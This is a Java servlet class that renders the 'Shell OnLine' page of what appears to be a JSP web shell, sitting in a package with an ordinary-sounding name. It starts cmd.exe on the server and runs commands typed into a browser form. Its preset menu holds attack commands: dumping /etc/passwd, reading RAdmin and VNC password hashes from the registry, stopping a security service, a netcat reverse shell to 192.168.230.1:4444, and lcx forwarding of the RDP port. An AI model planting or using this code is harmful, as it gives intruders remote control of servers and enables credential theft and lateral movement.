package com.truthbean.jeetb.utils.web.invoker;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.PrintWriter;

public class VOnLineShellInvoker extends DefaultInvoker {
    public void invoke(HttpServletRequest request, HttpServletResponse response, HttpSession JSession) throws Exception {
        try {
            PrintWriter out = response.getWriter();
            out.println("<script>" +
                    "				function $(id) {" +
                    "					return document.getElementById(id);" +
                    "				}" +
                    "				var ie = window.navigator.userAgent.toLowerCase().indexOf(\"msie\") != -1;" +
                    "				window.onload = function(){" +
                    "					setInterval(function(){" +
                    "						if ($(\"autoscroll\").checked)" +
                    "						{" +
                    "							var f = window.frames[\"echo\"];" +
                    "							if (f && f.document && f.document.body)" +
                    "							{" +
                    "								if (!ie)" +
                    "								{" +
                    "									if (f.document.body.offsetHeight)" +
                    "									{" +
                    "										f.scrollTo(0,parseInt(f.document.body.offsetHeight)+1);" +
                    "									}" +
                    "								} else {" +
                    "									f.scrollTo(0,parseInt(f.document.body.scrollHeight)+1);" +
                    "								}" +
                    "							}" +
                    "						}" +
                    "					},500);" +
                    "				}" +
                    "			</script>");
            out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">" +
                    "  <tr>" +
                    "    <td>");
            out.println("<h2>Shell OnLine &raquo;</h2><br/>");
            out.println("<form action=\"" + SHELL_NAME + "\" method=\"post\" target=\"echo\" onsubmit=\"$('cmd').focus()\">" +
                    "			<input type=\"submit\" value=\" start \" class=\"bt\">" +
                    "				<input type=\"text\" name=\"exe\" style=\"width:300px\" class=\"input\" value=\"c:\\windows\\system32\\cmd.exe\"/>" +
                    "				<input type=\"hidden\" name=\"o\" value=\"online\"/><input type=\"hidden\" name=\"type\" value=\"start\"/><span class=\"tip\">Notice ! If You Are Using IE , You Must Input A Command First After You Start Or You Will Not See The Echo</span>" +
                    "			</form>" +
                    "			<hr/>" +
                    "				<iframe class=\"secho\" name=\"echo\" src=\"\">" +
                    "				</iframe>" +
                    "				<form action=\"" + SHELL_NAME + "\" method=\"post\" onsubmit=\"this.submit();$('cmd').value='';return false;\" target=\"asyn\">" +
                    "					<input type=\"text\" id=\"cmd\" name=\"cmd\" class=\"input\" style=\"width:80%\">" +
                    "					<input name=\"o\" id=\"o\" type=\"hidden\" value=\"online\"/><input type=\"hidden\" id=\"ddtype\" name=\"type\" value=\"ecmd\"/>" +
                    "					<select onchange=\"$('cmd').value = this.value;$('cmd').focus()\">" +
                    "						<option value=\"\" selected> </option>" +
                    "						<option value=\"uname -a\">uname -a</option>" +
                    "						<option value=\"cat /etc/issue\">issue</option>" +
                    "						<option value=\"cat /etc/passwd\">passwd</option>" +
                    "						<option value=\"netstat -an\">netstat -an</option>" +
                    "						<option value=\"net user\">net user</option>" +
                    "						<option value=\"tasklist\">tasklist</option>" +
                    "						<option value=\"tasklist /svc\">tasklist /svc</option>" +
                    "						<option value=\"net start\">net start</option>" +
                    "						<option value=\"net stop policyagent /yes\">net stop</option>" +
                    "						<option value=\"nbtstat -A IP\">nbtstat -A</option>" +
                    "						<option value='reg query \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v \"PortNumber\"'>reg query</option>" +
                    "						<option value='reg query \"HKEY_LOCAL_MACHINE\\SYSTEM\\RAdmin\\v2.0\\Server\\Parameters\\\" /v \"Parameter\"'>radmin hash</option>" +
                    "						<option value='reg query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\WinVNC4\" /v \"password\"'>vnc hash</option>" +
                    "						<option value=\"nc -e cmd.exe 192.168.230.1 4444\">nc</option>" +
                    "						<option value=\"lcx -slave 192.168.230.1 4444 127.0.0.1 3389\">lcx</option>" +
                    "						<option value=\"systeminfo\">systeminfo</option>" +
                    "						<option value=\"net localgroup\">view groups</option>" +
                    "						<option value=\"net localgroup administrators\">view admins</option>" +
                    "					</select>" +
                    "					<input type=\"checkbox\" checked=\"checked\" id=\"autoscroll\">Auto Scroll" +
                    "					<input type=\"button\" value=\"Stop\" class=\"bt\" onclick=\"$('ddtype').value='stop';this.form.submit()\">" +
                    "				</form>" +
                    "			<iframe style=\"display:none\" name=\"asyn\"></iframe>"
            );
            out.println("    </td>" +
                    "  </tr>" +
                    "</table>");
        } catch (Exception e) {
            e.printStackTrace();
            throw e;
        }
    }
}